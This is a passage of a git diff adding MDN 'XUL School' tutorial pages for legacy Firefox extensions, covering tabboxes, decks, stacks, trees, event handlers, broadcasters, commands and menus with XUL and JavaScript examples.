+  &lt;tabpanels&gt;
+    &lt;tabpanel&gt;
+      &lt;!-- Content <span class="code-keyword">for</span> the main panel. --&gt;
+    &lt;/tabpanel&gt;
+    &lt;tabpanel&gt;
+      &lt;!-- Content <span class="code-keyword">for</span> the advanced panel. --&gt;
+    &lt;/tabpanel&gt;
+  &lt;/tabpanels&gt;
+&lt;/tabbox&gt;</pre>
+</div>
+</div>
+
+<p>The first tab is selected by default, but you can change the default selection by setting the <a href="/en/XUL/Attribute/selected" title="en/XUL/Attribute/selected">selected</a> attribute to true in the <a href="/en/XUL/tab" title="en/XUL/tab">tab</a> element.</p>
+
+<p>A <em>tabpanel</em> can hold any kind of content. You should take into account that the whole tab box is going to be as large as the tab strip on the top and the content of the largest panel. You should try to balance the content in the tab panels so that you don't end up with uneven an  mostly empty panels.</p>
+
+<h2 id="Decks_and_stacks">Decks and stacks</h2>
+
+<p>Sometimes you'll need finer grained control than the one provided by a <em>tabbox</em>. In these cases the <a href="/en/XUL/deck" title="en/XUL/deck">deck</a> and <a href="/en/XUL/stack" title="en/XUL/stack">stack</a> elements are probably what you're looking for. They are extremely useful, and you'll find yourself using them in many situations besides sidebars.</p>
+
+<p>A <em>deck</em> is like a <em>tabbbox</em> without the tabs. It only displays one of its child nodes at a time, depending on its <a href="/en/XUL/Attribute/selectedIndex" title="en/XUL/Attribute/selectedIndex">selectedIndex</a> value. In the following example, the second child will be displayed, not the first which would be the default.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;deck selectedIndex=<span class="code-quote">"2"</span>&gt;
+  &lt;hbox&gt;
+    &lt;!-- Content <span class="code-keyword">for</span> the first child. --&gt;
+  &lt;/hbox&gt;
+  &lt;hbox&gt;
+    &lt;!-- Content <span class="code-keyword">for</span> the second child. --&gt;
+  &lt;/hbox&gt;
+&lt;/deck&gt;</pre>
+</div>
+</div>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Note how this is one of the few cases where an attribute of an element is named using camel case instead of all small caps.</div>
+</div>
+</div>
+
+<p> The size of the deck depends on the size of the largest child node, just like in a <em>tabbox</em>.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">We recommend that you use <em>hbox</em> or <em>vbox</em> elements as children of a <em>deck</em> or <em>stack</em>. The code is easier to read and maintain this way.</div>
+</div>
+</div>
+
+<p>A <em>deck</em> can be very useful when you have a large piece of XUL code that only changes in a small way depending on different circumstances. For instance, you could have a window that is used for two different purposes, and the only difference between the two cases is a label that has a value in one case and something else in another. Using a <em>.properties</em> file and a string bundle is a viable option, but it involves a lot of code for something so simple, specially if that's the only case where you need dynamic text. The alternative is to use a deck with the two labels, and change the selected index depending on the purpose of the window. This way you can still use DTD, and the code remains simple.</p>
+
+<p>A <a href="/en/XUL/stack" title="en/XUL/stack">stack</a> is like a <em>deck</em>, except that all of its children are always on display, one of top of the other. It allows you to decompose complex UI into individual layers, broadening the layout possibilities. One common use for a stack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;stack&gt;
+  &lt;hbox flex=<span class="code-quote">"1"</span>&gt;
+    &lt;image src=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/skin/stack-bg.png"</span> flex=<span class="code-quote">"1"</span> /&gt;
+</span>  &lt;/hbox&gt;
+  &lt;hbox&gt;
+    &lt;!-- Some content here. --&gt;
+  &lt;/hbox&gt;
+&lt;/stack&gt;</pre>
+</div>
+</div>
+
+<p>This workaround is necessary because you can't have an background image stretch using CSS.</p>
+
+<p>A less common use for the <em>stack</em> element is to use the <em>left</em> and <em>top</em> attributes on its children in order to have absolute positioning for the content on the layers. This kind of positioning can be useful for various artistic effects, as well as some type of desktop-like or Dashboard-like interface, where items are located in positions determined by the user, and they can overlap with each other. This can become complicated very easily, though.</p>
+
+<div class="note">Remember that you can't have flexibility and absolute positioning at the same time.</div>
+
+<h2 id="Trees">Trees</h2>
+
+<p>The bookmarks and history sidebars in Firefox use the <a href="/en/XUL/tree" title="en/XUL/tree">tree</a> element to show their content. Trees are another strong option when you need to show a great amount of information in a compact presentation. With a tree you can show a rather small amount of root nodes, giving the user the possibility to expand whichever ones are needed. Trees are specially powerful when combined with data templates, a topic that will be covered later on. You can also read much more about trees in the <a href="/en/XUL_Tutorial/Trees" title="en/XUL Tutorial/Trees">XUL Tutorial</a> page.</p>
+
+<p>The <em>tree</em> element is possibly the most complex element in XUL. It is meant to be very versatile and malleable, but it can require a good amount of work before it fits your specific needs. It is in reality a hierarchical table view, so its content is defined in terms of rows and columns. Here's an example of a simple tree:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;tree flex=<span class="code-quote">"1"</span>&gt;
+  &lt;treecols&gt;
+    &lt;treecol label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.nameColumn.label;"</span> flex=<span class="code-quote">"1"</span> /&gt;
+    &lt;treecol label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.greetingColumn.label;"</span> flex=<span class="code-quote">"3"</span> /&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label=<span class="code-quote">"Peter"</span> /&gt;
+        &lt;treecell label=<span class="code-quote">"Hey, what's up?"</span> /&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label=<span class="code-quote">"John"</span>/&gt;
+        &lt;treecell label=<span class="code-quote">"Good evening, how are you doing?"</span> /&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;</pre>
+</div>
+</div>
+
+<p>The text in the rows of the tree is hardcoded because we wouldn't generally use text from locale files. We would use data from a datasource such as a database or a remote API. This tree is not much of a tree because it only has one level of depth. A more elaborate tree would look like this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;tree flex=<span class="code-quote">"1"</span>&gt;
+  &lt;treecols&gt;
+    &lt;treecol label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.nameColumn.label;"</span> flex=<span class="code-quote">"1"</span> /&gt;
+    &lt;treecol label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.greetingColumn.label;"</span> flex=<span class="code-quote">"3"</span> /&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label=<span class="code-quote">"Peter"</span> /&gt;
+        &lt;treecell label=<span class="code-quote">"Hey, what's up?"</span> /&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;!-- Notice that you need to specify the container attribute. --&gt;
+    &lt;treeitem container=<span class="code-quote">"<span class="code-keyword">true</span>"</span> open=<span class="code-quote">"<span class="code-keyword">true</span>"</span>&gt;
+      &lt;treerow&gt;
+        &lt;treecell label=<span class="code-quote">"John"</span>/&gt;
+        &lt;treecell label=<span class="code-quote">"Good evening, how are you doing?"</span> /&gt;
+      &lt;/treerow&gt;
+      &lt;treechildren&gt;
+        &lt;treeitem&gt;
+          &lt;treerow&gt;
+            &lt;treecell label=<span class="code-quote">"John Jr."</span>/&gt;
+            &lt;treecell label=<span class="code-quote">"Bah, bah!"</span> /&gt;
+          &lt;/treerow&gt;
+        &lt;/treeitem&gt;
+      &lt;/treechildren&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;</pre>
+</div>
+</div>
+
+<p>In this case, the row for "John" has a child row for "John Jr.". The <a href="/en/XUL/treechildren" title="en/XUL/treechildren">treechildren</a> element is placed as a child for John's <a href="/en/XUL/treeitem" title="en/XUL/treeitem">treeitem</a> element, and the <a href="/en/XUL/Attribute/container" title="en/XUL/Attribute/container">container</a> attribute must be set.</p>
+
+<p>It should be evident at this point that hand-coding a tree would take quite some time and yields a great deal of XML code that is hard to follow. This is why most of the uses of the <em>tree</em> element are for displaying data from an external datasource. Even handling the construction of a tree using Javascript and DOM functions can become very convoluted, which is why trees are better used along with templates. This topic will be covered later when we look at different kinds of datasources and templates.</p>
+
+<p>Adding style to a tree can also be challenging, which is why there's a guide at MDC specifically covering how to <a href="/en/XUL_Tutorial/Styling_a_Tree" title="en/XUL Tutorial/Styling a Tree">Style a Tree</a>. Looking at the Bookmarks and History sidebars should make it clear that trees are quite customizable with CSS.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_ventanas_y_dialogos", "Escuela_XUL/Uso_de_objetos_en_JavaScript") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/agregar_eventos_y_comandos/index.html b/files/es/mozilla/tech/xul/escuela_xul/agregar_eventos_y_comandos/index.html
new file mode 100644
index 0000000000..8d1771e21a
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/agregar_eventos_y_comandos/index.html
@@ -0,0 +1,135 @@
+---
+title: Agregar eventos y comandos
+slug: Mozilla/Tech/XUL/Escuela_XUL/Agregar_eventos_y_comandos
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Events_and_Commands
+---
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_barras_de_herramientas_y_botones_para_éstas", "Escuela_XUL/El_modelo_de_caja") }}</p>
+
+<h2 id="Event_handlers">Event handlers</h2>
+
+<p>Just like with HTML, most JavaScript code execution is triggered by event handlers attached to DOM elements. The most commonly used event is the <a href="/en/DOM/window.onload" title="en/DOM/window.onload">onload event</a>, which is used in overlays and other windows to detect when the window has loaded and then run initialization code:</p>
+
+<pre class="brush: js">// rest of overlay code goes here.
+window.addEventListener(
+  "load", function() { XulSchoolChrome.BrowserOverlay.init(); }, false);
+</pre>
+
+<p>You can do something similar with the <a href="/en/DOM/window.onunload" title="en/DOM/window.onunload">onunload event</a>, to do any cleanup you may need.</p>
+
+<div class="note">Please read <a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">Appendix A</a> for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on Firefox.</div>
+
+<p>Another way to attach event handlers, just like HTML, is to place the handler in the XUL code:</p>
+
+<pre>&lt;overlay id="xulschoolhello-browser-overlay"
+  onload="XulSchoolChrome.BrowserOverlay.init();"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>We prefer the first method because it keeps a better separation of content and behavior. Also, note that the <a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a> method receives the event name without the "on" prefix, while element attributes do have the prefix. There's a long <a href="/en/XUL/Events" title="en/XUL/Events">list of events</a> you can listen to, and which you use depend on the situation. Elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. These are some notable events you should keep in mind:</p>
+
+<ul>
+ <li><a href="/en/XUL/Attribute/oncommand" title="en/XUL/Attribute/oncommand">oncommand</a>. This is one of the most important and commonly used events in XUL. It's very useful because it represents the most common action for input controls such as menu items, buttons and checkboxes. For a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the ENTER key. It's an abstraction of the main way to interact with a control element.</li>
+ <li><a href="/en/XUL/Attribute/onselect" title="en/XUL/Attribute/onselect">onselect</a>. Fired when the selection in a tree or listbox changes.</li>
+ <li><a href="/en/XUL/Attribute/onclick" title="en/XUL/Attribute/onclick">onclick</a>. Triggered when the user clicks on the element, including right clicks. You shouldn't normally use this event to trigger actions on input controls such as buttons. Use oncommand instead.</li>
+ <li><a href="/en/DOM/element.onfocus" title="en/DOM/element.onfocus">onfocus</a> and <a href="/en/DOM/element.onblur" title="en/DOM/element.onblur">onblur</a>. Used when an element receives or loses focus when the user is navigating with the keyboard. You can combine these with <a href="/en/CSS/-moz-user-focus" title="en/CSS/-moz-user-focus">-moz-user-focus</a> to add custom focus behavior to elements that normally wouldn't have it.</li>
+ <li><a href="/En/DragDrop/Drag_and_Drop" title="en/DragDrop/Drag and Drop">Drag and drop</a>. Drag and drop operations involve several events. Since drag and drop is a complicated thing to manage, there are some high level wrappers that facilitate working with it. Also keep in mind that there are 2 drag and drop APIs, the newest (and preferred) one introduced in Firefox 3.5.</li>
+</ul>
+
+<p>Event handlers can take an <em>event</em> argument, which is an <a href="/en/DOM/event" title="en/DOM/event">Event</a> object that holds information on the event. You can get information on key modifiers (in case the user was holding a modifier key like Alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. For example:</p>
+
+<pre>&lt;button label="&amp;xulschoolhello.defaultGreeting.label;"
+  oncommand="XulSchoolChrome.BrowserOverlay.changeGreeting(event);" /&gt;
+</pre>
+
+<p>Then on the Javascript code you would have something like this:</p>
+
+<pre class="brush: js">changeGreeting : function(aEvent) {
+  // more stuff
+  aEvent.target.setAttribute("label", someNewGreeting);
+}
+</pre>
+
+<p>The target in this example is the button element, so clicking on it will change its text. The advantage of using the <em>event</em> argument is that the method is not dependent of the specific button, so it can also be used for other elements.</p>
+
+<p>For more advanced event handling, you should read about <a href="/en/XUL_Event_Propagation" title="en/XUL Event Propagation">Event Propagation</a>. In a nutshell, events propagate from the root of the DOM tree all the way down to the target element and then all the way up back to the root, in the capture and bubble phases, respectively. You can capture and cancel events during any of these phases, provided that they aren't canceled before they reach the point where you intended to capture them. The <em>addEventListener</em> method allows you to control the phase where you want to handle an event, with the last argument of the function.</p>
+
+<div class="note">In general, you should avoid adding event handlers in the capturing phase, or canceling events. This can lead to unexpected behavior for the user since most events have a default behavior associated to them.</div>
+
+<h3 id="Custom_events">Custom events</h3>
+
+<p>This is a very powerful tool that you should know, even if it isn't that frequently used. The DOM <a href="/en/DOM/document.createEvent" title="en/DOM/document.createEvent">createEvent</a> function allows you to create custom events that you can dispatch and capture.</p>
+
+<p>Custom events serve as a good communication mechanism, specially when dealing with a somewhat common problem: communication between window XUL and web page content. It isn't hard for XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a website JS controlling the behavior of Firefox and running JavaScript code with chrome privileges.</p>
+
+<p>Suppose your extension interacts with pages from a website, and you want some actions on this site to trigger actions in your extension. One way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. You can capture the events in the XUL  overlay, since they'll bubble all the way up:</p>
+
+<pre class="brush: js">// in the overlay code.
+document.addEventListener(
+  "XSHelloGreetingEvent", function(aEvent) { /* do stuff*/ }, false);
+</pre>
+
+<p>Be careful when doing this! You should at least validate the URL of the page that is generating the custom event, so that you know that it's coming from the right place. You should also avoid this kind of events to trigger actions that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage. There's a reason for the division between remote content and local chrome, so make sure you respect it.</p>
+
+<p>There's a section further ahead on Intercepting Page Loads which complements this section very well. This should give you a solid foundation to handle interaction between web content and XUL.  Additional information on custom events and how they can be used to effect communication between web content and XUL can be found in the <a href="/en/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="en/Code snippets/Interaction between
+privileged and non-privileged pages">Interaction between privileged and non-privileged pages</a> code snippets, which describe and provide examples of this sort of communication.</p>
+
+<h2 id="Broadcasters">Broadcasters</h2>
+
+<p>Keeping a consistent UI is another important aspect of extension behavior. Maybe your extension needs to disable or enable a series of controls when the user logs in or out of a service, or when Firefox detects it's <a href="/en/Online_and_offline_events" title="en/Online and offline events">online or offline</a>. It's common that you need to change several elements at the same time, and this can be difficult to manage through JavaScript. The <a href="/en/XUL/broadcaster" title="en/XUL/broadcaster">broadcaster</a> element can help you out in these cases.</p>
+
+<p>First you need to add a <em>broadcaster</em> element to your XUL code, as a child of a <a href="/en/XUL/broadcasterset" title="en/XUL/broadcasterset">broadcasterset</a> element.</p>
+
+<pre>&lt;broadcasterset id="xulschoolhello-broadcasterset"&gt;
+  &lt;broadcaster id="xulschoolhello-online-broadcaster" /&gt;
+&lt;/broadcasterset&gt;
+</pre>
+
+<p>These elements are completely invisible, so you can put them anywhere. It is recommended that you have them at the top of the XUL code, along with script declarations and other invisible elements with as <em>popupset</em> and <em>commandset</em>.</p>
+
+<p>Then you need to identify which of your XUL elements will be linked to this broadcaster, using the <a href="/en/XUL/Attribute/observes" title="en/XUL/Attribute/observes">observes attribute</a>:</p>
+
+<pre>&lt;menuitem id="xulschoolhello-hello-menu-item"
+  label="&amp;xulschoolhello.hello.label;"
+  accesskey="&amp;xulschoolhello.helloItem.accesskey;"
+  <strong>observes="xulschoolhello</strong><strong>-online-broadcaster"</strong>
+  oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
+</pre>
+
+<p>The attribute value is set to be the <em>id</em> of the <em>broadcaster</em> element, indicating that this element will observe all attribute changes that happen in the <em>broadcaster</em>. You can have as many elements as you want observing a <em>broadcaster</em>.</p>
+
+<p>With that set, all you need to do now is set or remove attributes in the <em>broadcaster</em> using JavaScript. All nodes observing it will automatically have those attribute values set or removed as well. You can override pre-existing values, such as the <em>label</em> attribute value in the example.</p>
+
+<pre class="brush: js">let onlineBroadcaster = document.getElementById("xulschoolhello-online-broadcaster");
+
+onlineBroadcaster.setAttribute("label", "Something");
+</pre>
+
+<p>You can also have finer-grained control to this behavior by adding the <a href="/en/XUL/observes" title="en/XUL/observes">observes</a> element as a child to your observer node. This allows you to choose which attributes you want it to observe.</p>
+
+<p>Broadcasters allow you to easily maintain consistency among numerous elements without having to add much code. They also save you the trouble of having to know if a given element is present in the DOM or not. For example, if you have a customizable toolbar, you can't be sure if a given button is present or not, so it's easier to use a <em>broadcaster</em>. This way you only need to set values to the broadcaster instead of having to check if the button is there or not.</p>
+
+<h2 id="Commands">Commands</h2>
+
+<p>The <a href="/en/XUL/Attribute/command" title="en/XUL/Attribute/command">command</a> element is a specialized type of <em>broadcaster</em>, meant to be used with the <em>oncommand</em> event. This is the recommended way of centralizing common UI behavior in Firefox and extensions. Commands are heavily used in Firefox, as a quick look into the DOM Inspector should show.</p>
+
+<p>Their behavior is identical as <em>broadcaster</em> elements, but they should be used when <em>oncommand</em> is one of the shared attributes. Our menu example is in fact better suited for a command.</p>
+
+<pre>&lt;commandset id="xulschoolhello-commandset"&gt;
+  &lt;command id="xulschoolhello-hello-command"
+    oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
+  &lt;!-- More commands. --&gt;
+&lt;/commandset&gt;
+&lt;!-- More code here... --&gt;
+&lt;menuitem id="xulschoolhello-hello-menu-item"
+  label="&amp;xulschoolhello.hello.label;"
+  accesskey="&amp;xulschoolhello.helloItem.accesskey;"
+  command="xulschoolhello-hello-command" /&gt;
+</pre>
+
+<p>Commands allow you to keep your JavaScript calls in a single place, avoiding code repetition and possible bugs. Your UI can easily scale this way. You can create an extension that adds toolbar buttons, statusbar buttons and menu items, all with equivalent behavior, and without having to repeat lots of XUL code in the process. Commands and broadcasters also facilitate working with complex form windows and dialogs. You should always keep them in mind when adding the event-driven code for your extension.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_barras_de_herramientas_y_botones_para_éstas", "Escuela_XUL/El_modelo_de_caja") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/agregar_menus_y_submenus/index.html b/files/es/mozilla/tech/xul/escuela_xul/agregar_menus_y_submenus/index.html
new file mode 100644
index 0000000000..e39f36363a
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/agregar_menus_y_submenus/index.html
@@ -0,0 +1,139 @@
+---
+title: Agregar menus y submenus
+slug: Mozilla/Tech/XUL/Escuela_XUL/Agregar_menus_y_submenus
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_menus_and_submenus
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Montando_un_ambiente_de_desarrollo", "Escuela_XUL/Agregar_barras_de_herramientas_y_botones_para_éstas") }}</p>
+
+<p>The Hello World example in the previous sections shows the two most common ways to add menus: adding them to the Tools menu (recommended) and adding them to the main menu bar (not recommended). In this section we'll look into more specialized menus and what you can do with them.</p>
+
+<h2 id="Adding_a_New_Menu">Adding a New Menu</h2>
+
+<p>We already saw how to add menus in overlays, and as you may have imagined, you can nest submenus as deep as you want. You should avoid having deep menus full of options, though, because too many options are confusing for most users.</p>
+
+<p>If your extension requires new XUL windows, you may also need to have menus on those windows. You can do this with a <a href="/en/XUL/menubar" title="en/XUL/menubar">menubar</a>. The <em>menubar</em> element should be a child of a <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a> element because it is treated like another toolbar on systems other than Mac OS X. On those systems you can move toolbar controls to the menu bar when you're customizing your toolbars.</p>
+
+<div class="note">
+<p>Mac OS X treats menus in a very different way than other systems. If your extension involves menus in any way, you should test it on Mac OS X to make sure everything works adequately.</p>
+</div>
+
+<p>The toolbox should be positioned at the beginning of the XUL document, and the code should be similar to this:</p>
+
+<pre><code>&lt;toolbox&gt;
+  &lt;menubar id="</code><code>xulschoolhello</code><code>-menubar"&gt;
+    &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-menu" label="&amp;</code><code>xulschoolhello</code><code>.greeting.label;"&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem label="&amp;xulschoolhello.greet.short.label;"
+          oncommand="XULSchoolChrome.GreetingDialog.greetingShort(event);" /&gt;
+        &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;"
+          oncommand="XULSchoolChrome.GreetingDialog.greetingMedium(event);" /&gt;
+        &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;"
+          oncommand="XULSchoolChrome.GreetingDialog.greetingLong(event);" /&gt;
+        &lt;menuseparator /&gt;
+        &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.custom.label;"
+          oncommand="XULSchoolChrome.GreetingDialog.greetingCustom(event);" /&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt; </code></pre>
+
+<p>This code displays a simple <a href="/en/XUL/menu" title="en/XUL/menu">menu</a> with options for 3 different types of greetings, a <a href="/en/XUL/menuseparator" title="en/XUL/menuseparator">menuseparator</a>, and finally an option to show a custom greeting. The separator is usually displayed as a horizontal line that creates a logical division between different types of <a href="/en/XUL/menuitem" title="en/XUL/menuitem">menuitem</a> elements, keeping everything more organized.</p>
+
+<p>A <em>menubar</em> can hold one or more <em>menu</em> elements. Menus require a <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menupopup</a> element as a container for its children, which are usually <em>menuitem</em> elements, but can also be <em>menuseparator,</em> or <em>menu</em> in order to have multiple nesting levels:</p>
+
+<pre><code>&lt;toolbox&gt;
+ &lt;menubar id="</code><code>xulschoolhello</code><code>-menubar"&gt;
+    &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-menu" label="&amp;</code><code>xulschoolhello</code><code>.greeting.label;"&gt;
+      &lt;menupopup&gt;
+        &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-sizes-menu" label="&amp;</code><code>xulschoolhello</code><code>.greetingSizes.label;"&gt;
+          &lt;menupopup&gt;
+            &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.short.label;"
+              oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingShort(event);" /&gt;
+            &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;"
+              oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingMedium(event);" /&gt;
+            &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;"
+              oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingLong(event);" /&gt;
+          &lt;/menupopup&gt;
+        &lt;/menu&gt;
+        &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.custom.label;"
+          oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingCustom(event);" /&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt; </code></pre>
+
+<p>In this case we grouped the 3 greeting items into a submenu. It doesn't make much sense to do that in this case because we end up with only two menu items, one of them being a menu with 3 child items.</p>
+
+<p>You can also have menus that are filled dynamically. Instead of setting the menupopup directly in the XUL, you can use the <a href="/en/XUL/Attribute/onpopupshowing" title="en/XUL/Attribute/onpopupshowing">onpopupshowing</a> event to fill the children when the popup is about to be displayed.</p>
+
+<div class="note">
+<p>If you have nothing to show on a menu, you should follow the standard used in Firefox: show a single disabled item with an "(Empty)" label.</p>
+
+<p>If filling your menu takes a noticeable amount of time, you should not make Firefox (and your users) wait for it to fill up before displaying anything. It's best to show an item with a throbber image (see <a class="external" rel="freelink">chrome://global/skin/icons/loading_16.png</a>) so the user knows there's something going on, and asynchronously fill its contents. We'll look into some asynchronous techniques further ahead in the tutorial.</p>
+</div>
+
+<h2 id="Adding_Elements_to_Existing_Menus">Adding Elements to Existing Menus</h2>
+
+<p>Just as explained in the previous sections, the best place to overlay your extension menu is inside the <em>Tools</em> menu. That is, unless there's a place inside the menu structure where your extension menus make more sense. If you're overlaying the Tools menu, your overlay code should have something like this:</p>
+
+<pre><code>&lt;menupopup id="menu_ToolsPopup"&gt;
+  &lt;menu id="</code><code>xulschoolhello</code><code>-hello-menu" label="&amp;</code><code>xulschoolhello</code><code>.hello.label;"
+    accesskey="&amp;</code><code>xulschoolhello</code><code>.helloMenu.accesskey;"
+    insertafter="javascriptConsole,devToolsSeparator"&gt;
+    &lt;menupopup&gt;
+      &lt;!-- Your menuitem goes here. --&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menupopup&gt; </code></pre>
+
+<p>Now let's look at some specialized types of menu items.</p>
+
+<h2 id="Menu_types">Menu types</h2>
+
+<h3 id="Checkbox_Menu_Items">Checkbox Menu Items</h3>
+
+<p>You can make a <em>menuitem</em> "checkable" to allow the user to enable/disable options using the menu. We use two attributes for this: <a href="/en/XUL/menuitem#a-menuitem.type" title="en/XUL/menuitem#a-menuitem.type">type</a> and <a href="/en/XUL/menuitem#a-checked" title="en/XUL/menuitem#a-checked">checked</a>. The <em>type</em> attribute must be set to "checkbox". You can set the <em>checked</em> attribute to "true" to check it by default.</p>
+
+<p>The item's checked state changes when the user clicks on it. An example of one such item is the View &gt; Status Bar item in the main Firefox menu.</p>
+
+<h3 id="Radio_Menu_Items">Radio Menu Items</h3>
+
+<p>If you need to have a set of <em>menuitem</em> elements where only one of them has to be checked at any given moment, you should set the <em>type</em> to "radio". The <em>name</em> attribute is used to identify the items that belong to the radio group.</p>
+
+<pre><code>&lt;menupopup oncommand="XULSchoolChrome.HW.GreetingDialog.greeting(event);"&gt;
+  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
+    label="&amp;</code><code>xulschoolhello</code><code>.greet.short.label;" checked="true" /&gt;
+  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
+    label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;" /&gt;
+  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
+    label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;" /&gt;
+&lt;/menupopup&gt; </code></pre>
+
+<p>This is a modified version of the 3 greeting menus. It is now implemented as a radio menu where you pick one of the 3 available choices. The first one is checked by default. The <em>oncommand</em> attribute is set on the <em>menupopup</em> to avoid code duplication, since now the 3 items call the same function.</p>
+
+<p>Another example of a menu like this is the View &gt; Sidebars menu. Only one sidebar is visible at any given moment, and you can pick from several.</p>
+
+<h3 id="Menus_with_Images">Menus with Images</h3>
+
+<p>To add an icon to a <em>menu</em> or <em>menuitem</em>, set its class to "menu-iconic" or "menuitem-iconic" respectively, and set the <a href="/en/XUL/Attribute/image" title="en/XUL/Attribute/image">image</a> attribute or the <a href="/en/CSS/list-style-image" title="en/CSS/list-style-image">list-style-image</a> CSS property. Menu icons are typically 16px by 16px.</p>
+
+<h2 id="Menus_on_Mac_OS_X">Menus on Mac OS X</h2>
+
+<p>As mentioned earlier, menus are very different on Mac OS X. This is because menus on Mac are unified in a single menu bar which is controlled by the operating system, as opposed to menus in other systems, which are entirely controlled by Firefox. Mac OS X also has menu standards, such as the positioning of certain items that are not used in other systems. Here's a list of the known issues we've run into when handling menus on Mac:</p>
+
+<ul>
+ <li>The About, Preferences and Quit menu items are located under the "Firefox" menu, not the usual places you would find them. You can access these items by id through the DOM, but their parent menu is not easily accessible.</li>
+ <li>We've run into bugs when adding, removing, enabling and disabling menu items dynamically, specially the root menu items (File, Edit, View, etc). You should carefully test this behavior to make sure it works properly in your extension.</li>
+ <li>Images in menu items may not appear, showing only a narrow segment of the image instead. This seems to happen when remote images are used.</li>
+ <li>Menu items are not dynamically updated while they are open. For example, you could have a <em>menuitem</em> that tells you the current time and is updated every second. On other systems you would be able to see the item update itself without having to close the menu and then reopen. This is not the case on Mac OS.</li>
+</ul>
+
